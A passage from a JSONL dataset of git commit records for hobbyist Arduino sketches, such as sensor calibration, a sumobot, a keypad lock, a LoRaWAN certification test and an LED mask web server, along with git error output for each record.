>> 3) - ((signed long int)dig_T1 << 1))) * ((signed long int)dig_T2)) >> 11;\n var2 = (((((adc_T >> 4) - ((signed long int)dig_T1)) * ((adc_T >> 4) - ((signed long int)dig_T1))) >> 12) * ((signed long int)dig_T3)) >> 14;\n\n t_fine = var1 + var2;\n T = (t_fine * 5 + 128) >> 8;\n return T;\n}\n\nunsigned long int calibration_P(signed long int adc_P)\n{\n signed long int var1, var2;\n unsigned long int P;\n var1 = (((signed long int)t_fine) >> 1) - (signed long int)64000;\n var2 = (((var1 >> 2) * (var1 >> 2)) >> 11) * ((signed long int)dig_P6);\n var2 = var2 + ((var1 * ((signed long int)dig_P5)) << 1);\n var2 = (var2 >> 2) + (((signed long int)dig_P4) << 16);\n var1 = (((dig_P3 * (((var1 >> 2) * (var1 >> 2)) >> 13)) >> 3) + ((((signed long int)dig_P2) * var1) >> 1)) >> 18;\n var1 = ((((32768 + var1)) * ((signed long int)dig_P1)) >> 15);\n if (var1 == 0)\n {\n return 0;\n }\n P = (((unsigned long int)(((signed long int)1048576) - adc_P) - (var2 >> 12))) * 3125;\n if (P < 0x80000000)\n {\n P = (P << 1) \/ ((unsigned long int) var1);\n }\n else\n {\n P = (P \/ (unsigned long int)var1) * 2;\n }\n var1 = (((signed long int)dig_P9) * ((signed long int)(((P >> 3) * (P >> 3)) >> 13))) >> 12;\n var2 = (((signed long int)(P >> 2)) * ((signed long int)dig_P8)) >> 13;\n P = (unsigned long int)((signed long int)P + ((var1 + var2 + dig_P7) >> 4));\n return P;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jsk_arc2017_baxter\/firmware\/gripper_v6\/sensor_manager_right\/sensor_manager_right.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"744723cae5b1085b57fd34e5314e4ef6b43bbb04","subject":"Simple Sketch. This Sketch spins the wheels.","message":"Simple Sketch.\nThis Sketch spins the wheels.\n","repos":"Vido\/sumobot,Vido\/sumobot","old_file":"SOURCE\/sumobot\/sumobot.ino","new_file":"SOURCE\/sumobot\/sumobot.ino","new_contents":"#include <Servo.h> \n \nServo m_left; \nServo m_right;\n\nvoid setup() \n{ \n m_left.attach(9); \n m_right.attach(10);\n} \n \n \nvoid loop() \n{ \n \/\/ Spin !!!\n m_right.write(180);\n m_left.write(0);\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SOURCE\/sumobot\/sumobot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d1056adca3224daddc48323d02a2c7c2d191921","subject":"Latest version for Backup","message":"Latest version for Backup","repos":"Simba185\/Temperature-Datalogger","old_file":"Tempreature Datalogger.ino","new_file":"Tempreature Datalogger.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tempreature' did not match any file(s) known to git\nerror: pathspec 'Datalogger.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e47e8737603641e2c32ea504b92e422d009c38f6","subject":"Code-Lock V0.1","message":"Code-Lock V0.1\n","repos":"tkacikdominik\/auto-gate-opener,tkacikdominik\/auto-gate-opener","old_file":"opening-modules\/code-lock\/src\/main\/main.ino","new_file":"opening-modules\/code-lock\/src\/main\/main.ino","new_contents":"#include <Key.h>\n#include <Keypad.h>\n\n\/****************************** \n***INICIALIZACIA KLAVESTNICE*** \n*******************************\/ \n\nconst byte rows = 4;\nconst byte cols = 4;\nchar keys[rows][cols] = \n{\n{'1','2','3','A'},\n{'4','5','6','B'},\n{'7','8','9','C'},\n{'*','0','#','D'}\n};\nbyte rowsPin[rows] = {50, 51, 52, 53};\nbyte colsPin[cols] = {46, 47, 48, 49};\nKeypad keyPad = Keypad(makeKeymap(keys), rowsPin, colsPin, rows, cols);\n\nvoid setup() \n{\n Serial.begin(9600);\n}\n\nvoid loop() \n{\nchar charRead = keyPad.getKey();\nif (charRead)\n{\nSerial.println(charRead);\n}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'opening-modules\/code-lock\/src\/main\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3dc22c670c61184964056fbbd3b5a10412a5981a","subject":"Arduino Uno Wifi only works with thingspeak... testing","message":"Arduino Uno Wifi only works with thingspeak... testing\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Documentation\/unit' did not match any file(s) known to git\nerror: pathspec 'tests\/ciao_test\/ciao_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df6a41dc7b3d0ee4eff2ec8167add500f84bba56","subject":"Add cert test application","message":"Add cert test application\n","repos":"mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic","old_file":"examples\/rwccert-otaa-halconfig-us915\/rwccert-otaa-halconfig-us915.ino","new_file":"examples\/rwccert-otaa-halconfig-us915\/rwccert-otaa-halconfig-us915.ino","new_contents":"\/*******************************************************************************\n * Copyright (c) 2019 Terry Moore, MCCI\n *\n * Permission is hereby granted, free of charge, to anyone\n * obtaining a copy of this document and accompanying files,\n * to do whatever they want with them without any restriction,\n * including, but not limited to, copying, modification and redistribution.\n * NO WARRANTY OF ANY KIND IS PROVIDED.\n *\n *******************************************************************************\/\n\n#include <lmic.h>\n#include <hal\/hal.h>\n#include <SPI.h>\n#include <arduino_lmic_hal_boards.h>\n\n\/\/\n\/\/ For certification tests with the RWC5020A, we use the default addresses\n\/\/ from the tester.\n\/\/\n\n\/\/ This EUI must be in little-endian format, so least-significant-byte\n\/\/ first. This corresponds to 0x0000000000000001\nstatic const u1_t PROGMEM APPEUI[8]= { 1, 0, 0, 0, 0, 0, 0, 0 };\nvoid os_getArtEui (u1_t* buf) { memcpy_P(buf, APPEUI, 8);}\n\n\/\/ This should also be in little endian format, see above.\n\/\/ This corresponds to 0x0000000000000001\nstatic const u1_t PROGMEM DEVEUI[8]= { 1, 0, 0, 0, 0, 0, 0, 0 };\nvoid os_getDevEui (u1_t* buf) { memcpy_P(buf, DEVEUI, 8);}\n\n\/\/ This key should be in big endian format (or, since it is not really a\n\/\/ number but a block of memory, endianness does not really apply). \nstatic const u1_t PROGMEM APPKEY[16] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2 };\nvoid os_getDevKey (u1_t* buf) { memcpy_P(buf, APPKEY, 16);}\n\nstatic uint8_t mydata[] = \"Hello, world!\";\nstatic osjob_t sendjob;\n\n\/\/ Schedule TX every this many seconds (might become longer due to duty\n\/\/ cycle limitations).\nconst unsigned TX_INTERVAL = 60;\n\nlmic_event_cb_t myEventCb;\n\nvoid myEventCb(void *pUserData, ev_t ev) {\n Serial.print(os_getTime());\n Serial.print(\": \");\n switch(ev) {\n case EV_SCAN_TIMEOUT:\n Serial.println(F(\"EV_SCAN_TIMEOUT\"));\n break;\n case EV_BEACON_FOUND:\n Serial.println(F(\"EV_BEACON_FOUND\"));\n break;\n case EV_BEACON_MISSED:\n Serial.println(F(\"EV_BEACON_MISSED\"));\n break;\n case EV_BEACON_TRACKED:\n Serial.println(F(\"EV_BEACON_TRACKED\"));\n break;\n case EV_JOINING:\n Serial.println(F(\"EV_JOINING\"));\n break;\n case EV_JOINED:\n Serial.println(F(\"EV_JOINED\"));\n {\n u4_t netid = 0;\n devaddr_t devaddr = 0;\n u1_t nwkKey[16];\n u1_t artKey[16];\n LMIC_getSessionKeys(&netid, &devaddr, nwkKey, artKey);\n Serial.print(\"netid: \");\n Serial.println(netid, DEC);\n Serial.print(\"devaddr: \");\n Serial.println(devaddr, HEX);\n Serial.print(\"artKey: \");\n for (int i=0; i<sizeof(artKey); ++i) {\n if (i != 0)\n Serial.print(\"-\");\n Serial.print(artKey[i], HEX);\n }\n Serial.println(\"\");\n Serial.print(\"nwkKey: \");\n for (int i=0; i<sizeof(nwkKey); ++i) {\n if (i != 0)\n Serial.print(\"-\");\n Serial.print(nwkKey[i], HEX);\n }\n Serial.println(\"\");\n }\n \/\/ Disable link check validation (automatically enabled\n \/\/ during join, but because slow data rates change max TX\n \/\/ size, we don't use it in this example.\n LMIC_setLinkCheckMode(0);\n break;\n \/*\n || This event is defined but not used in the code. No\n || point in wasting codespace on it.\n ||\n || case EV_RFU1:\n || Serial.println(F(\"EV_RFU1\"));\n || break;\n *\/\n case EV_JOIN_FAILED:\n Serial.println(F(\"EV_JOIN_FAILED\"));\n break;\n case EV_REJOIN_FAILED:\n Serial.println(F(\"EV_REJOIN_FAILED\"));\n break;\n break;\n case EV_TXCOMPLETE:\n Serial.println(F(\"EV_TXCOMPLETE (includes waiting for RX windows)\"));\n if (LMIC.txrxFlags & TXRX_ACK)\n Serial.println(F(\"Received ack\"));\n \/\/ Schedule next transmission\n os_setTimedCallback(&sendjob, os_getTime()+sec2osticks(TX_INTERVAL), do_send);\n break;\n case EV_LOST_TSYNC:\n Serial.println(F(\"EV_LOST_TSYNC\"));\n break;\n case EV_RESET:\n Serial.println(F(\"EV_RESET\"));\n break;\n case EV_RXCOMPLETE:\n \/\/ data received in ping slot\n Serial.println(F(\"EV_RXCOMPLETE\"));\n break;\n case EV_LINK_DEAD:\n Serial.println(F(\"EV_LINK_DEAD\"));\n break;\n case EV_LINK_ALIVE:\n Serial.println(F(\"EV_LINK_ALIVE\"));\n break;\n \/*\n || This event is defined but not used in the code. No\n || point in wasting codespace on it.\n ||\n || case EV_SCAN_FOUND:\n || Serial.println(F(\"EV_SCAN_FOUND\"));\n || break;\n *\/\n case EV_TXSTART:\n Serial.println(F(\"EV_TXSTART\"));\n break;\n default:\n Serial.print(F(\"Unknown event: \"));\n Serial.println((unsigned) ev);\n break;\n }\n}\n\nlmic_rxmessage_cb_t myRxMessageCb;\n\nvoid myRxMessageCb(\n\tvoid *pUserData,\n\tuint8_t port,\n\tconst uint8_t *pMessage,\n\tsize_t nMessage\n\t)\n\t{\n\tSerial.print(F(\"Received message on port \"));\n\tSerial.print(port);\n\tSerial.print(F(\": \"));\n\tSerial.print(nMessage);\n\tSerial.println(F(\" bytes\"));\n\t}\n\nvoid do_send(osjob_t* j){\n \/\/ Check if there is not a current TX\/RX job running\n if (LMIC.opmode & OP_TXRXPEND) {\n Serial.println(F(\"OP_TXRXPEND, not sending\"));\n } else {\n \/\/ Prepare upstream data transmission at the next possible time.\n LMIC_setTxData2(1, mydata, sizeof(mydata)-1, 0);\n Serial.println(F(\"Packet queued\"));\n }\n \/\/ Next TX is scheduled after TX_COMPLETE event.\n}\n\nvoid myFail(const char *pMessage) {\n pinMode(LED_BUILTIN, OUTPUT);\n for (;;) {\n \/\/ alert\n Serial.println(pMessage);\n \/\/ flash lights, sleep.\n for (int i = 0; i < 5; ++i) {\n digitalWrite(LED_BUILTIN, 1);\n delay(100);\n digitalWrite(LED_BUILTIN, 0);\n delay(900);\n }\n }\n}\n\nvoid setup() {\n delay(5000);\n while (! Serial)\n ;\n Serial.begin(115200);\n Serial.println(F(\"Starting\"));\n\n \/\/ LMIC init using the computed target\n const lmic_pinmap *pPinMap = Arduino_LMIC::GetPinmap_ThisBoard();\n\n \/\/ don't die mysteriously; die noisily.\n if (pPinMap == nullptr) {\n myFail(\"board not known to library; add pinmap or update getconfig_thisboard.cpp\");\n }\n\n \/\/ now that we have a pinmap, initalize the low levels accordingly.\n os_init_ex(pPinMap);\n\n \/\/ Reset the MAC state. Session and pending data transfers will be discarded.\n LMIC_reset();\n\n \/\/ Reset resets *everything*, so we need to register after the LMIC_reset().\n if (! (LMIC_registerRxMessageCb(myRxMessageCb, \/* userData *\/ nullptr) && \n LMIC_registerEventCb(myEventCb, \/* userData *\/ nullptr))) {\n myFail(\"couldn't register callbacks\");\n }\n\n LMIC_setLinkCheckMode(0);\n LMIC_setDrTxpow(DR_SF7, 14);\n LMIC_selectSubBand(1);\n\n \/\/ Start job (sending automatically starts OTAA too)\n do_send(&sendjob);\n}\n\nvoid loop() {\n os_runloop_once();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/rwccert-otaa-halconfig-us915\/rwccert-otaa-halconfig-us915.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"943fa36729a644fc01cf50134d1c24faf2be037f","subject":"This works. Complexerizing.","message":"This works. Complexerizing.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts2\/testInterrupts2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b42b4af5812b2042c8c7cc69b32b29d2153fe9c4","subject":"This looks good, and it compiles, but it's warm out and it's bbq time so I'll have to test it in the lab later. Added statistical magic, lots of text, and automatic continuation of the script (just wait a bit and it'll keep going). I'll test it soon!","message":"This looks good, and it compiles, but it's warm out and it's bbq time so I'll have to test it in the lab later.\nAdded statistical magic, lots of text, and automatic continuation of the script (just wait a bit and it'll keep going). I'll test it soon!\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts2\/testInterrupts2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f44d960992409ae258c4c51ab7a4fcfa599a060c","subject":"Premier prototype de la station de chargement. Les numeros de pins ne sont pas bons, j'attends le breadboard pour avoir les vrais. Aussi, j'ai mis un servo comme placeholder pour l'ascenseur en attendant, mais \u00e7a risque de changer.","message":"Premier prototype de la station de chargement.\nLes numeros de pins ne sont pas bons, j'attends le breadboard pour avoir les vrais.\nAussi, j'ai mis un servo comme placeholder pour l'ascenseur en attendant, mais \u00e7a risque de changer.\n","repos":"JDGETS\/machine2015,JDGETS\/machine2015","old_file":"Arduino\/LoadingStation\/LoadingStation.ino","new_file":"Arduino\/LoadingStation\/LoadingStation.ino","new_contents":"#include <Servo.h>\n\n\/\/\/\/\/\/\/\/ Pins \/\/\/\/\/\/\/\/ \n#define ELEVATOR_SWITCH_PIN 46\n#define DOOR_SWITCH_PIN 50\n#define ELEVATOR_PIN 4\n#define DOOR_PIN 5\n#define CONVEYOR1_PIN 6\n#define CONVEYOR2_PIN 7\n\n\/\/\/\/\/\/\/\/ PWM \/\/\/\/\/\/\/\/ \n#define ELEVATOR_STOP 1500\n#define ELEVATOR_RUN 1400\n#define DOOR_STOP 1500\n#define DOOR_RUN 1400\n#define CONVEYOR_RUN 1400\n#define CONVEYOR_STOP 1500\n\nstruct LimitSwitch {\n const uint8_t PIN;\n LimitSwitch(uint8_t PIN) : PIN(PIN), active(false), lastStatusChange(0) {};\n void Setup() { pinMode(PIN, INPUT_PULLUP); };\n const bool IsActive() const { return active; };\n const bool ReadInput()\n {\n active = (digitalRead(PIN) == 0);\n return IsActive();\n };\n \n unsigned long lastStatusChange;\n const static int DEBOUNCE_TIME = 100;\n \n void WaitForPress(){\n while(millis() < lastStatusChange + DEBOUNCE_TIME); \/\/Debounce\n while(digitalRead(PIN) == 0);\n lastStatusChange = millis();\n }\n \n void WaitForRelease(){\n while(millis() < lastStatusChange + DEBOUNCE_TIME); \/\/Debounce\n while(digitalRead(PIN) != 0);\n lastStatusChange = millis();\n }\n\nprivate:\n bool active;\n};\n\n\/\/\/\/\/\/\/\/ Variables \/\/\/\/\/\/\/\/ \nLimitSwitch elevatorSwitch(ELEVATOR_SWITCH_PIN);\nLimitSwitch doorSwitch(DOOR_SWITCH_PIN);\nServo elevator;\nServo door;\nServo conveyor1;\nServo conveyor2;\n\n\nvoid setup() { \n Serial.begin(9600);\n \n elevatorSwitch.Setup();\n doorSwitch.Setup();\n \n elevator.attach(ELEVATOR_PIN); \n elevator.writeMicroseconds(ELEVATOR_STOP);\n \n door.attach(DOOR_PIN);\n door.writeMicroseconds(DOOR_STOP);\n \n conveyor1.attach(CONVEYOR1_PIN);\n Serial.print(\"Starting fixed conveyor belt.\");\n conveyor1.writeMicroseconds(CONVEYOR_RUN);\n \n conveyor2.attach(CONVEYOR2_PIN);\n conveyor2.writeMicroseconds(CONVEYOR_STOP);\n}\n\nvoid loop(){ \n \/\/ La porte est ouverte\n if ( ! doorSwitch.ReadInput() )\n {\n Serial.print(\"Elevator door opened. Closing...\");\n \/\/ On la ferme et on attend\n door.writeMicroseconds(DOOR_RUN);\n doorSwitch.WaitForPress();\n door.writeMicroseconds(DOOR_STOP);\n Serial.print(\"Elevator door closed.\");\n }\n \n \/\/ L'ascenseur n'est pas en haut\n if ( ! elevatorSwitch.ReadInput() )\n {\n \/\/ Arreter le tapis sur l'ascenseur (au cas ou il roulerait...)\n conveyor2.writeMicroseconds(CONVEYOR_STOP);\n \/\/ On monte l'ascenseur et on attend\n Serial.print(\"Starting elevator.\");\n elevator.writeMicroseconds(ELEVATOR_RUN);\n elevatorSwitch.WaitForPress();\n \/\/ Arreter l'ascenseur\n elevator.writeMicroseconds(ELEVATOR_STOP); \n Serial.print(\"Stopping elevator.\");\n }\n \n \/\/ Demarrer le tapis de l'ascenseur\n Serial.print(\"Starting elevator's conveyor belt.\");\n conveyor2.writeMicroseconds(CONVEYOR_RUN);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/LoadingStation\/LoadingStation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bdac5d8109882c1ad23caa26df83acfa0574b157","subject":"Lab 9 done","message":"Lab 9 done\n","repos":"zwimer\/IntroToOpenSourceLabs,zwimer\/IntroToOpenSourceLabs,zwimer\/IntroToOpenSourceLabs,zwimer\/IntroToOpenSourceLabs","old_file":"Lab9\/arduino_lab_lcd_ex\/arduino_lab_lcd_ex.ino","new_file":"Lab9\/arduino_lab_lcd_ex\/arduino_lab_lcd_ex.ino","new_contents":"\/*\n LiquidCrystal Library - Serial Input\n\n Demonstrates the use a 16x2 LCD display. The LiquidCrystal\n library works with all LCD displays that are compatible with the\n Hitachi HD44780 driver. There are many of them out there, and you\n can usually tell them by the 16-pin interface.\n\n This sketch displays text sent over the serial port\n (e.g. from the Serial Monitor) on an attached LCD.\n\n The circuit:\n LCD RS pin to digital pin 12\n LCD Enable pin to digital pin 11\n LCD D4 pin to digital pin 5\n LCD D5 pin to digital pin 4\n LCD D6 pin to digital pin 3\n LCD D7 pin to digital pin 2\n LCD R\/W pin to ground\n 10K resistor:\n ends to +5V and ground\n wiper to LCD VO pin (pin 3)\n\n Library originally added 18 Apr 2008\n by David A. Mellis\n library modified 5 Jul 2009\n by Limor Fried (http:\/\/www.ladyada.net)\n example added 9 Jul 2009\n by Tom Igoe\n modified 22 Nov 2010\n by Tom Igoe\n\n This example code is in the public domain.\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/LiquidCrystalSerial\n*\/\n\n\/\/ include the library code:\n#include <LiquidCrystal.h>\n#include <avr\/interrupt.h>\n\/\/ initialize the library with the numbers of the interface pins\nLiquidCrystal lcd(48, 46, 44, 42, 40, 38, 36, 34, 32, 30, 28);\nint __counter = 0;\n\n\n\/\/arduino runs the setup function first, then the loop function below\nvoid setup() {\n pinMode(24, OUTPUT); \/\/K\n pinMode(26, OUTPUT); \/\/A\n pinMode(54, OUTPUT); \/\/VSS\n pinMode(52, OUTPUT); \/\/VDD\n pinMode(50, OUTPUT); \/\/Contrasty pin\n\n \/\/ digitalWrite(50, LOW);\n digitalWrite(24, LOW); \/\/Backlight\n digitalWrite(26, HIGH); \/\/Backlight\n digitalWrite(54, LOW); \/\/GND\n digitalWrite(52, HIGH); \/\/VDD\n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(16, 2);\n \/\/ initialize the serial communications:\n Serial.begin(9600);\n \/\/ Timer0 is used for millis() - we'll just interrupt\n \/\/ in the middle and call the compA\n OCR0A = 0x01;\n TIMSK0 |= _BV(OCIE0A);\n\n Serial.setTimeout(1);\n}\n\nSIGNAL(TIMER0_COMPA_vect) \n{\n __counter++;\n if (__counter > 14){\n digitalWrite(50,HIGH);\n __counter = 0;\n }\n else if (__counter > 3){\n digitalWrite(50, LOW);\n }\n}\n\nint min_ = -1;\nint sec_ = -1;\n\n\/\/Must have input be of form t\\d\\d\\d\\d\nvoid setTimer(String input) {\n\n \/\/Invalid input\n if(input[0] != 't') {\n Serial.print(\"Invalid input\\n\");\n return;\n }\n\n \/\/Else define min and sec\n min_ = input.substring(1,3).toInt();\n sec_ = input.substring(3,5).toInt();\n}\n\n\/\/Assume 1 second has passed\nvoid increaseTime() {\n if (sec_ == -1 || min_ == -1) return;\n sec_++;\n if (sec_ > 59) {\n sec_ = 0;\n min_++;\n }\n if (min_ > 59) {\n min_ = 0;\n }\n}\n\nint timeElapsed = -1;\n\n\/\/Here is where your code goes. Arduino runs this function in an infinite loop after running the setup function\nvoid loop() {\n\n if (timeElapsed == -1) { timeElapsed = millis(); }\n\n String input_ = Serial.readString();\/\/ read a string sent from the computer\n Serial.print(input_);\/\/prints hello world to the serial monitor\n\n \/\/Stop if needed, otherwise do waht was requested.\n if (input_ == \"Stop timer\") {\n Serial.print(\"Stopped\");\n min_ = sec_ = -1;\n }\n else if (input_ != \"\") {\n setTimer(input_);\n } \n \n \/\/return cursor to starting position\n lcd.home();\n\n \/\/clear the lcd screen\n lcd.clear();\n \n \/\/displays a String on the lcd screen. You can also print a String object\n lcd.print(\"Blobby is god!\");\n \n \/\/sets the x,y position of the cursor. In this case we move the cursor to the second line.\n lcd.setCursor(1, 1);\n lcd.print(\"Time: \");\n\n if (min_ != -1 && sec_ != -1) {\n lcd.print(min_);\n lcd.print(\":\");\n if (sec_ < 10) { lcd.print(\"0\"); }\n lcd.print(sec_);\n }\n\n \/\/Increase the time\n increaseTime();\n\n \/\/sleep for .5 seconds\n int tmp = (500-(millis() - timeElapsed));\n delay(tmp>=0?tmp:0);\n\n \/\/Blink if needed\n if (!(min_ != -1 && sec_ != -1)) { lcd.print(\"1200\"); }\n tmp = (1000-(millis() - timeElapsed));\n\n \/\/sleep for .5\n delay(tmp>=0?tmp:0);\n timeElapsed = millis();\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lab9\/arduino_lab_lcd_ex\/arduino_lab_lcd_ex.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"690450aeb2d7caaf9dd9c30388ebe0628729c11f","subject":"make it faster!!!!","message":"make it faster!!!!","repos":"telekom\/dthack17,telekom\/dthack17,telekom\/dthack17,telekom\/dthack17","old_file":"smartampel\/Ampel.ino","new_file":"smartampel\/Ampel.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/telekom\/dthack17.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1f5448871beaabcf801f26877fe4654f70ab893c","subject":"Create Wrench-Mask-Wifi-ESP8266.ino","message":"Create Wrench-Mask-Wifi-ESP8266.ino","repos":"Arudinne\/RGB-Wrench-Mask","old_file":"Wifi-ESP8266\/Mask\/Wrench-Mask-Wifi-ESP8266.ino","new_file":"Wifi-ESP8266\/Mask\/Wrench-Mask-Wifi-ESP8266.ino","new_contents":"\/* Wrench Mask - WiFi Version (ESP8266)\n * \n * Hardware Used:\n * Adafruit Feather HUZZAH with ESP8266 WiFi\n * https:\/\/www.adafruit.com\/product\/2821\n * Eight Adafruit DotStar High Density 8x8 Grid - 64 RGB LED Pixel Matrices\n * https:\/\/www.adafruit.com\/product\/3444\n * 74AHCT125 - Quad Level-Shifter\n * https:\/\/www.adafruit.com\/product\/1787\n * \n * by Brandon C. Allen \n *\n * Based on the following Sketches:\n * --------------------------------\n * ESP8266 Web Server with Arduino IDE\n * http:\/\/randomnerdtutorials.com\/esp8266-web-server-with-arduino-ide\/\n *\n*\/\n\n\/* Facial Expressions List\n * X X - Face001\n * > < - Face002\n * ^ ^ - Face003\n * @ @ - Face004\n * \/ \\ - Face005\n * ? ? - Face006\n * O o - Face007\n * \\ \/ - Face008\n * Z Z - Face009\n * # # - Face010\n * = = - Face011\n * ~ ^ - Face012\n * 9 9 - Face013\n * ! ! - Face014\n * * * - Face015\n * ` ` - Face016\n * ; ; - Face017\n * .) .) - Face018\n * (. (. - Face019\n * o O - Face020\n * . . - Face021\n * \u2310 \u2310 - Face022\n * <3 <3 - Face023\n*\/\n\n\/\/ Call required libraries\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Adafruit_DotStar.h>\n#include <SPI.h>\n\n\/\/ Define the number of DotStar pixels\n#define NUMPIXELS 512\n\n\/\/ Set DotStar Pixels to use hardware SPI\n#define USE_HW_SPI 13\n\n\/\/ Build the strip\nAdafruit_DotStar strip = Adafruit_DotStar(NUMPIXELS, DOTSTAR_BRG);\n\nMDNSResponder mdns;\n\n\/\/ Replace with your network credentials (Client or AP)\n\nconst char *ssid = \"ssid\";\nconst char *password = \"passsword\";\n\nESP8266WebServer server(80);\n\nString webPage = \"\";\n\n\/\/ Define initial facial expression\nchar FaceMode = 1; \n\n\/\/ Define color parameters\nuint32_t white = 16777215;\nuint32_t green = 16711680;\nuint32_t red = 65280;\nuint32_t blue = 255;\n\/\/ Define initial color\nuint32_t color = white;\n\n\/\/ Define Variables for blinking the LEDs\nunsigned long currentMillis = 0;\nunsigned long previousMillis = 0;\nint ledState = 0; \/\/\nlong OnTime = 6000; \/\/ milliseconds of on-time\nlong OffTime = 50; \/\/ milliseconds of off-time\n\n\/\/ Initial boolean variables for face status checks when switching faces\n\/\/ Face001\nbool Face001RunningCheck = false;\nbool Face001BlinkCheck = false;\n\/\/ Face002 \nbool Face002RunningCheck = false;\nbool Face002BlinkCheck = false;\n\/\/ Face003\nbool Face003RunningCheck = false;\nbool Face003BlinkCheck = false; \n\/\/ Face004\nbool Face004RunningCheck = false;\nbool Face004BlinkCheck = false;\n\/\/ Face005\nbool Face005RunningCheck = false;\nbool Face005BlinkCheck = false;\n\/\/ Face006 \nbool Face006RunningCheck = false;\nbool Face006BlinkCheck = false;\n\/\/ Face007\nbool Face007RunningCheck = false;\nbool Face007BlinkCheck = false; \n\/\/ Face008\nbool Face008RunningCheck = false;\nbool Face008BlinkCheck = false;\n\/\/ Face009\nbool Face009RunningCheck = false;\nbool Face009BlinkCheck = false; \n\/\/ Face010\nbool Face010RunningCheck = false;\nbool Face010BlinkCheck = false;\n\/\/ Face011\nbool Face011RunningCheck = false;\nbool Face011BlinkCheck = false;\n\/\/ Face012\nbool Face012RunningCheck = false;\nbool Face012BlinkCheck = false;\n\/\/ Face013\nbool Face013RunningCheck = false;\nbool Face013BlinkCheck = false;\n\/\/ Face014\nbool Face014RunningCheck = false;\nbool Face014BlinkCheck = false;\n\/\/ Face015\nbool Face015RunningCheck = false;\nbool Face015BlinkCheck = false;\n\/\/ Face016\nbool Face016RunningCheck = false;\nbool Face016BlinkCheck = false;\n\/\/ Face017\nbool Face017RunningCheck = false;\nbool Face017BlinkCheck = false;\n\/\/ Face018\nbool Face018RunningCheck = false;\nbool Face018BlinkCheck = false;\n\/\/ Face019\nbool Face019RunningCheck = false;\nbool Face019BlinkCheck = false;\n\/\/ Face020\nbool Face020RunningCheck = false;\nbool Face020BlinkCheck = false;\n\/\/ Face021\nbool Face021RunningCheck = false;\nbool Face021BlinkCheck = false;\n\/\/ Face022\nbool Face022RunningCheck = false;\nbool Face022BlinkCheck = false;\n\/\/ Face023\nbool Face023RunningCheck = false;\nbool Face023BlinkCheck = false;\n\n\/\/ Setup Loop -----------------------------------------------------------------------------------------------\nvoid setup(void)\n{\n \/\/ Set Max brightness\n strip.setBrightness(11);\n \/\/ Initialize strip pins for output\n strip.begin();\n \/\/ Turn all LEDs off ASAP \n strip.show();\n\n \/\/ Build the web page \n webPage += \"<title>Wrench Mask LED Control<\/title>\";\n webPage += \"<body bgcolor=black text=white>\";\n webPage += \"<center>\";\n webPage += \"<h1>Wrench Mask LED Control<\/h1>\";\n \/\/ Color Options\n webPage += \"<p><a href=\\\"Red\\\"><button style=\\\"height:100px;width:250px;font-size:50px;color:red\\\">RED<\/button><\/a>\";\n webPage += \"<a href=\\\"Green\\\"><button style=\\\"height:100px;width:250px;font-size:50px;color:green\\\">GREEN<\/button><\/a>\";\n webPage += \"<a href=\\\"Blue\\\"><button style=\\\"height:100px;width:250px;font-size:50px;color:blue\\\">BLUE<\/button><\/a>\";\n webPage += \"<a href=\\\"White\\\"><button style=\\\"height:100px;width:250px;font-size:50px;color:white\\\">WHITE<\/button><\/a><\/p>\";\n \/\/ Face Options 1-3\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face001\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">X_X<\/button><\/a>\";\n webPage += \"<a href=\\\"Face002\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">>_<<\/button><\/a>\";\n webPage += \"<a href=\\\"Face003\\\"><button 